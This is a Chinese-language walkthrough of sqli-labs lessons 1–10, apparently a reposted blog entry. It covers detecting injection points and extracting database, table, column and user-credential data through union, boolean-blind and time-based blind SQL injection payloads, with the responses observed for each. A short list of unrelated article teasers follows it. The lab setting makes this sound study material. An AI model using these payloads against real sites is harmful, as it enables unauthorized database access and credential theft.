sqli-labs靶场详解(less1-less10)

目录

less-1

less-2

less 3

less 4

less 5

less-6

less-7

less-8

less-9

less-10

1-10关代码分析


less-1

判断注入点

?id=1  正常

?id=1' 报错:to use near ''1''

?id=1\ 报错:to use near ''1\'

?id=1' and '1'='1 正常

?id=1' and '1'='1'  报错:to use near ''1''

得出结论:GET字符注入点

注入操作

# 判断当前表的列数 得出当前表有3列
?id=1' and 1=1 order by 1 --+ 正常
?id=1' and 1=1 order by 2 --+ 正常
?id=1' and 1=1 order by 3 --+ 正常
?id=1' and 1=1 order by 4 --+ 错误
# 查看显示位 得出显示位为2,3号位
?id=1' and 1=2 union select 1,2,3 --+# 查看当前数据库
?id=1' and 1=2 union select 1,database(),3 --+# 查看当前数据库的所有表
?id=1' and 1=2 union select 1,(select table_name from information_schema.tables where table_schema='security'),3 --+
#报错:显示行数大于一行
?id=1' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+# 查看某表的字段名
id=1' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+# 查看字段值
?id=1' and 1=2 union select 1,(select concat_ws(',',id,username,password) from security.users limit 0,1),3 --+

less-2

判断注入点

?id=1  正常

?id=1' 报错:to use near ''

?id=1\ 报错:to use near '\

?id=1 and 1=1 正常

得出结论:GET整型注入点

注入操作

# 判断当前表的列数 得出当前表有3列
?id=1 and 1=1 order by 1 --+ 正常
?id=1 and 1=1 order by 2 --+ 正常
?id=1 and 1=1 order by 3 --+ 正常
?id=1 and 1=1 order by 4 --+ 错误
# 查看显示位 得出显示位为2,3号位
?id=1 and 1=2 union select 1,2,3 --+# 查看当前数据库
?id=1 and 1=2 union select 1,database(),3 --+# 查看当前数据库的所有表
?id=1 and 1=2 union select 1,(select table_name from information_schema.tables where table_schema='security'),3 --+
#报错:显示行数大于一行
?id=1 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+# 查看某表的字段名
id=1 and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+# 查看字段值
?id=1 and 1=2 union select 1,(select concat_ws(',',id,username,password) from security.users limit 0,1),3 --+

less 3

判断注入点

?id=1 正常

?id=1' 报错:to use near ''1'')

?id=1\ 报错:to use near ''1\')

通过报错原因 得知参数在服务器端的形式为(‘$id’)

得出结论 GET字符型注入 并且在参数外加了一层括号

有一个问题 

less-1也是这个问题

已知 内部参数形式为(‘$id’)或者是'$id' 也就是字符型的

但是 ?id=1 and 1=2 --+ 只要是1的位置确定能查到数据 后面随便写依旧能查到

比如 ?id=1 a b c 11+-5 666  查询到的依旧是id=1的数据

正常情况下是把 1 a b c 11+-5 666 当成一整个字符串 到数据库中进行查询的

注入操作

?id=1') and 1=1 --+  正常显示
?id=1') and 1=2 --+  空显示
# 判断当前表的列数 得出当前表有3列
?id=1') and 1=1 order by 1 --+ 正常
?id=1') and 1=1 order by 2 --+ 正常
?id=1') and 1=1 order by 3 --+ 正常
?id=1') and 1=1 order by 4 --+ 错误
# 查看显示位 得出显示位为2,3号位
?id=1') and 1=2 union select 1,database(),3 --+# 查看当前数据库
?id=1') and 1=2 union select 1,database(),3 --+# 查看当前数据库的所有表
?id=1') and 1=2 union select 1,(select table_name from information_schema.tables where table_schema='security'),3 --+
#报错:显示行数大于一行
?id=1') and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+# 查看某表的字段名
id=1') and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+# 查看字段值
?id=1') and 1=2 union select 1,(select concat_ws(',',id,username,password) from security.users limit 0,1),3 --+

less 4

判断注入点

?id=1 正常

?id=1' 正常输出id=1的结果 

?id=1ad 正常输出id=1的结果

以上两点可以判断出这是一个字符注入 但是并不是通过单引号使参数成为字符的

?id=1\ 报错:to use near '"1\")

通过这一点可以判断出参数在服务器端的形式为("$id")

得出结论 GET字符型注入 使参数变成字符的方式为双引号 并且在参数外加了一层括号

注入操作

?id=1") and 1=1 --+  正常显示
?id=1") and 1=2 --+  空显示
# 判断当前表的列数 得出当前表有3列
?id=1") and 1=1 order by 1 --+ 正常
?id=1") and 1=1 order by 2 --+ 正常
?id=1") and 1=1 order by 3 --+ 正常
?id=1") and 1=1 order by 4 --+ 错误
# 查看显示位 得出显示位为2,3号位
?id=1") and 1=2 union select 1,database(),3 --+# 查看当前数据库
?id=1") and 1=2 union select 1,database(),3 --+# 查看当前数据库的所有表
?id=1") and 1=2 union select 1,(select table_name from information_schema.tables where table_schema='security'),3 --+
#报错:显示行数大于一行
?id=1") and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+# 查看某表的字段名
id=1") and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+# 查看字段值
?id=1") and 1=2 union select 1,(select concat_ws(',',id,username,password) from security.users limit 0,1),3 --+

less 5

判断注入点

?id=0 空输出

?id=1 输出 You are in

以上两点确定为布尔注入点 并且可以确定空输出为 false 无查询结果 You are in 为 true 有查询结果

?id=1' 报错 to use near ''1''

?id=1\ 报错 to use near ''1\'

通过报错可以判断出参数在服务器端的形式为'$id' 也就是字符类型

得出结论 GET字符型注入 并且为布尔注入点

注入操作

?id=1' and 1=1 --+  输出you are in
?id=1' and 1=2 --+  空显示
# 判断当前表的列数 得出当前表有3列
?id=1' and 1=1 order by 1 --+ you are in
?id=1' and 1=1 order by 2 --+ you are in
?id=1' and 1=1 order by 3 --+ you are in
?id=1' and 1=1 order by 4 --+ 报错
判断数据库长度
?id=1' and length(database())>7 --+ you are in
?id=1' and length(database())>8 --+ 空返回
# 猜测当前数据库名 
?id=1' and ascii(substr(database(),1,1))>97 --+  you are in
?id=1' and ascii(substr(database(),1,1))>120 --+ 空返回
?id=1' and ascii(substr(database(),1,1))>114 --+ you are in
?id=1' and ascii(substr(database(),1,1))>115 --+ 空返回
# 猜测当前数据库的所有表
猜测第一个表的第一个字符 多次测试 得出结果
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0 --+  you are in
# 修改limit的参数为4时 的第一个字符的ascii码>0 返回空结果可知 当前数据库一共有4张表
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 4,1),1,1))>0 --+  空返回
# 查看某表的字段名
猜测 users 表第一列的列名 多次测试
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104 --+ you are in
# 查看字段值
?id=1' and ascii(substr((select concat_ws(',',id,username,password) from security.users limit 0,1),1,1))>0 --+  you are in
注意 如果 字符的ascii>0 返回空结果 就证明 select没有查到任何数据

less-6

判断注入点

?id=1   you are in

?id=0   空输出

以上两点确定为布尔注入点 并且可以确定空输出为 false 无查询结果。 You are in 为 true 有查询结果

?id=1'   you are in

?id=1\ 报错:to use near '"1\"

通过第一点 输入单引号也不报错 并且返回 you are in 可以判定当前注入点是字符型 但是参数并不是被单引号引起来的 估计是双引号

通过第二点报错原因可以确定 该注入点位字符型 使用的符号位双引号

于是 

?id=1" --+ you are in

判断出参数在服务器端的形式为"$id"

注入操作

?id=1" and 1=1 --+  输出you are in
?id=1" and 1=1 --+  空显示
# 判断当前表的列数 得出当前表有3列
?id=1" and 1=1 order by 1 --+ you are in
?id=1" and 1=1 order by 2 --+ you are in
?id=1" and 1=1 order by 3 --+ you are in
?id=1" and 1=1 order by 4 --+ 报错
判断数据库长度
?id=1" and length(database())>7 --+ you are in
?id=1" and length(database())>8 --+ 空返回
# 猜测当前数据库名 
?id=1" and ascii(substr(database(),1,1))>97 --+  you are in
?id=1" and ascii(substr(database(),1,1))>120 --+ 空返回
?id=1" and ascii(substr(database(),1,1))>114 --+ you are in
?id=1" and ascii(substr(database(),1,1))>115 --+ 空返回
# 猜测当前数据库的所有表
猜测第一个表的第一个字符 多次测试 得出结果
?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0 --+  you are in
# 修改limit的参数为4时 的第一个字符的ascii码>0 返回空结果可知 当前数据库一共有4张表
?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 4,1),1,1))>0 --+  空返回
# 查看某表的字段名
猜测 users 表第一列的列名 多次测试
?id=1" and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104 --+ you are in
# 查看字段值
?id=1" and ascii(substr((select concat_ws(',',id,username,password) from security.users limit 0,1),1,1))>0 --+  you are in

以上六关演示的 报错都会输出到页面中 所以都可以使用过报错函数 进行报错注入


less-7

判断注入点

  • ①?id=1          You are in.... Use outfile......
  • ②?id=10000  You have an error in your SQL syntax
  • ③?id=0          You have an error in your SQL syntax

通过以上三点判断该注入点为布尔注入,

并且假定:语句查询到结果为TRUE  输出 You are in.... Use outfile......

                  语句没有查询到结果为FALSE 输出 You have an error in your SQL syntax

  • ④?id=1' 报错 :You have an error in your SQL syntax
  • ⑤?id=1\ 报错:You have an error in your SQL syntax

通过以上两点确定不能使用报错函数

  • ⑥?id=1 and 1=1 You are in.... Use outfile......
  • ⑦?id=1 and 1=2 You are in.... Use outfile......
  • ⑧?id=1\ 525 555and55 1=2 --+  You are in.... Use outfile......
  • ⑨?id=1' --+ You have an error in your SQL syntax

通过以上⑥⑦⑧确定注入点为字符型  通过⑨确定造成参数为字符的方式不是用单引号

于是多次尝试得出?id=1')) --+ You are in.... Use outfile......

判断出参数在服务器端的形式为(('$id' ))

技巧: 

?id=1 --+ 如果输出的还是正确的 可能是整型也有可能是字符

?id=1wqeqeqweadasd --+*9asda 输入的如果还是正确的 那么就可以确定这是字符注入点了

使用布尔盲注

注入操作

# 判断当前表的列数 得出当前表有3列
?id=1')) and 1=1 order by 1 --+ You are in.... Use outfile......
?id=1')) and 1=1 order by 2 --+ You are in.... Use outfile......
?id=1')) and 1=1 order by 3 --+ You are in.... Use outfile......
?id=1')) and 1=1 order by 4 --+ You have an error in your SQL syntax
判断数据库长度
?id=1')) and length(database())>7 --+ You are in.... Use outfile......
?id=1')) and length(database())>8 --+ You have an error in your SQL syntax
# 猜测当前数据库名 
?id=1')) and ascii(substr(database(),1,1))>97 --+  You are in.... Use outfile......
?id=1')) and ascii(substr(database(),1,1))>120 --+ You have an error in your SQL syntax
?id=1')) and ascii(substr(database(),1,1))>114 --+ You are in.... Use outfile......
?id=1')) and ascii(substr(database(),1,1))>115 --+ 空返回
# 猜测当前数据库的所有表
猜测第一个表的第一个字符 多次测试 得出结果
?id=1')) and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0 --+  You are in.... Use outfile......
# 修改limit的参数为4时 的第一个字符的ascii码>0 返回You have an error in your SQL syntax可知 当前数据库一共有4张表
?id=1')) and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 4,1),1,1))>0 --+  You have an error in your SQL syntax
# 查看某表的字段名
猜测 users 表第一列的列名 多次测试
?id=1')) and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104 --+ You are in.... Use outfile......
# 查看字段值
?id=1')) and ascii(substr((select concat_ws(',',id,username,password) from security.users limit 0,1),1,1))>0 --+  You are in.... Use outfile......

less-8

判断注入点

?id=1 you are in

?id=0 空返回

?id=100000 空返回

?id=1' 空返回

?id=1\ 空返回

通过以上判断该注入点为布尔注入,确定不能使用报错函数

并且假定:语句查询到结果为TRUE  输出 You are in

                  语句没有查询到结果或语法错误为FALSE 输出 空输出

?id=1 and 1=1 you are in

?id=1 and 1=2 you are in

?id=1 dwqd qascxz anxzcd 1=2 you are in

这三点能判断出当前注入点为字符型

?id=1' --+  you are in

?id=1' 空返回 

?id=1' and 1=1 --+ you are in

?id=1' and 1=2 --+ 空返回

能判断出 参数变成字符使用单引号处理的

判断出参数在服务器端的形式为'$id' 

注入操作

# 判断当前表的列数 得出当前表有3列
?id=1' and 1=1 order by 1 --+ You are in
?id=1' and 1=1 order by 2 --+ You are in
?id=1' and 1=1 order by 3 --+ You are in
?id=1' and 1=1 order by 4 --+ 空输出
判断数据库长度
?id=1' and length(database())>7 --+ You are in
?id=1' and length(database())>8 --+ 空输出
# 猜测当前数据库名 
?id=1' and ascii(substr(database(),1,1))>97 --+  You are in
?id=1' and ascii(substr(database(),1,1))>120 --+ 空输出
?id=1' and ascii(substr(database(),1,1))>114 --+ You are in.... Use outfile......
?id=1' and ascii(substr(database(),1,1))>115 --+ 空返回
# 猜测当前数据库的所有表
猜测第一个表的第一个字符 多次测试 得出结果
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0 --+  You are in
# 修改limit的参数为4时 的第一个字符的ascii码>0 返回空可知 当前数据库一共有4张表
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 4,1),1,1))>0 --+  空输出
# 查看某表的字段名
猜测 users 表第一列的列名 多次测试
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104 --+ you are in
# 查看字段值
?id=1' and ascii(substr((select concat_ws(',',id,username,password) from security.users limit 0,1),1,1))>0 --+  You are in

less-9

判断注入点

?id=1 you are in

?id=0 you are in

?id=10000 you are in

?id=1' you are in

?id=1\ you are in

?id=1'''''wqeqdsadada you are in

通过以上直接就能判定该注入点为时间盲注

?id=1 and if(length(database())>0,sleep(2),2) 反应速度快

?id=1' and if(length(database())>0,sleep(2),2) --+ 两秒延时

通过以上可以判定这是 GET字符型时间盲注的注入点

注入操作

为什么使用>0的这种方式呢 因为可以使用二分法大大提高了效率 并且如果>0 不延时的话 也能判定出sql语句没有查询到结果
判断数据库长度
?id=1' and if(length(database())>0,sleep(2),2) --+  有延时
# 猜测当前数据库名 修改substr的第二个参数 获取第N位数据库的字符
?id=1' and if(ascii(substr(database(),1,1))>0,sleep(2),2)--+  有延时
# 猜测当前数据库的所有表
猜测第一个表的第一个字符 多次测试 得出结果
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0,sleep(2),2)--+ 有延时
# 查看某表的字段名  
猜测 users 表第一列的列名 多次测试
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>0,sleep(2),2)--+ 有延时
# 查看字段值
?id=1' and if(ascii(substr((select concat_ws(',',id,username,password) from security.users limit 0,1),1,1))>0,sleep(2),2)--+ 有延时

less-10

判断注入点

?id=1             you are in

?id=0             you are in

?id=1000000 you are in

?id=1'             you are in

?id=1\             you are in

?id=1wqedasad you are in

怀疑是盲注

?id=1 and if(length(database())>0,sleep(2),1)       无延时

?id=1' and if(length(database())>0,sleep(2),1) --+ 无延时

?id=1" and if(length(database())>0,sleep(2),1) --+ 延时2s

通过以上可以判定这是 GET采用双引号字符型时间盲注的注入点

注入操作

为什么使用>0的这种方式呢 因为可以使用二分法大大提高了效率 并且如果>0 不延时的话 也能判定出sql语句没有查询到结果
判断数据库长度
?id=1" and if(length(database())>0,sleep(2),2) --+  有延时
# 猜测当前数据库名 修改substr的第二个参数 获取第N位数据库的字符
?id=1" and if(ascii(substr(database(),1,1))>0,sleep(2),2)--+  有延时
# 猜测当前数据库的所有表
猜测第一个表的第一个字符 多次测试 得出结果
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0,sleep(2),2)--+ 有延时
# 查看某表的字段名  
猜测 users 表第一列的列名 多次测试
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>0,sleep(2),2)--+ 有延时
# 查看字段值
?id=1" and if(ascii(substr((select concat_ws(',',id,username,password) from security.users limit 0,1),1,1))>0,sleep(2),2)--+ 有延时

1-10关代码分析

前六关服务器使用print_r(mysql_error());把报错具体信息输出到了页面上  可以使用报错函数

其余代码区别最大的就是:

① 服务器对$id变量的处理

举两个例子

② 查询结果是否输出到界面 报错是否输出到界面 等等 没什么好分析的

注意

  • ?id=1 --+ 容易出现问题
  • ?id=1--+ 不容易出现问题
  • 盲注采用二分法 提高效率

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/225888.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Snagit 2024.0.1(Mac屏幕截图软件)

Snagit 2024是一款屏幕截图工具,可以帮助用户轻松捕获、编辑和分享屏幕截图。该工具在Mac上运行,旨在满足用户对于屏幕截图的各种需求。 Snagit 2024支持屏幕录制功能,可以录制摄像头和麦克风等外部设备,让用户录制更加全面的视频…

干货分享 | TSMaster采样点配置方法与消除错误帧流程

当通讯节点间采样点参数和波特率参数不匹配造成一些错误帧时,我们如何在TSMaster中设置以及调整波特率参数和采样点参数,来减少以及消除总线上出现的错误帧,进一步提高通信质量。本文着重讲解讲解如何借用TSmaster更加便捷地获取相应的采样点…

js 获取数组的最大值与最小值

let arr [1, 2, 5, 8, 10, 100, -1] 1. 使用Math的静态方法max/min Math.max()函数返回给定的一组数中的最大值。 它的语法:Math.max(value1[, value2, ...]) 使用此方法,需要注意,如果没有参数的话,则返回-Infinity。如果有任一…

前端学习系列之html

目录 初识html 发展史 优势 W3C 标准 地址 格式 网页基本标签 标题标签 段落标签 换行标签 水平线标签 字体样式 注释和特殊符号 特殊符号 图像、超链接 图像 常见图像格式 格式 超链接 格式 重要属性 href:规定链接指向的页面的 URL target…

拼多多Temu销量大涨,三个月销量冲上热搜,Temu狂飙既要又要合规性证书

电商巨头拼多多野心之大,大到国内市场装不下。于是乎,跨境业务Temu于2022年下半年在美国上线2023年随着销量的不断狂飙,Temu平台对质量也是提出了卖家证明产品质量过关的合规性证书! Temu在 8月的单日GMV达5000万美金&#xff0c…

CSGO搬砖项目靠谱吗?有没有风险?

作为一款fps射击游戏,csgo在近几年可谓是火出圈,作为一款全球竞技游戏,深受玩家喜爱追捧,玩家追求的就是公平公正,各凭本事,像其他游戏可能还会有皮肤等装备属性加成,在csgo里面是不存在的。 纯…

LeetCode 1457. 二叉树中的伪回文路径:深度优先搜索(DFS) + 位运算优化

【LetMeFly】1457.二叉树中的伪回文路径:深度优先搜索(DFS) 位运算优化 力扣题目链接:https://leetcode.cn/problems/pseudo-palindromic-paths-in-a-binary-tree/ 给你一棵二叉树,每个节点的值为 1 到 9 。我们称二叉树中的一条路径是 「…

设计师不可错过的免费素材网站,快快收藏!

即时设计资源广场 即时设计资源广场拥有数万件来自优秀设计师的精美设计作品,包括设计规范、页面、插图、图标、产品原型、投资组合等。这些作品通常是由大型工厂团队精心总结的设计规范,对应于完善的设计系统和支持组件库。此外,还涵盖了各…

vue项目多个不同的服务器请求地址管理

vue项目多个不同的服务器请求地址管理 在vue项目开发过程中,获取不同的数据可能会出现需要请求多个不同服务器地址的域名,这个时候需要对不同域名的请求地址进行管理以及跨域的代理。 一、单服务器域名地址的跨域代理和请求配置: 跨域配置: 在vue项目的vue.config.js文件…

玻色量子企业荣誉

2023年 2023.7 玻色量子创始人&COO马寅荣获“优秀共产党员”荣誉称号 2023.4 斩获“双金”!玻色量子在中国移动第七届创客马拉松大赛脱颖而出 2023.1 再创佳绩!玻色量子荣膺2022年德勤中国“朝阳明日之星” 2023.1 玻色量子荣为第二届朝阳区“…

提升企业网络安全的得力助手——EventLog Analyzer网络日志管理

在当今数字化时代,企业的网络安全问题变得尤为重要。为了更好地应对日益增多的威胁和安全漏洞,企业需要一种高效的网络日志管理工具,EventLog Analyzer便是其中一款卓越的解决方案。 EventLog Analyzer EventLog Analyzer是一款综合性的网络…

更高效的图片预览方案

传统的图片预览方式是什么样子的呢? 首先是用户选择一张图片,通过ajax上传到服务器,然后服务器返回一个访问url 然后给img标签的src属性设置这个访问url。 那这就会有一个问题,用户为什么要先网络上传上去再预览呢,我…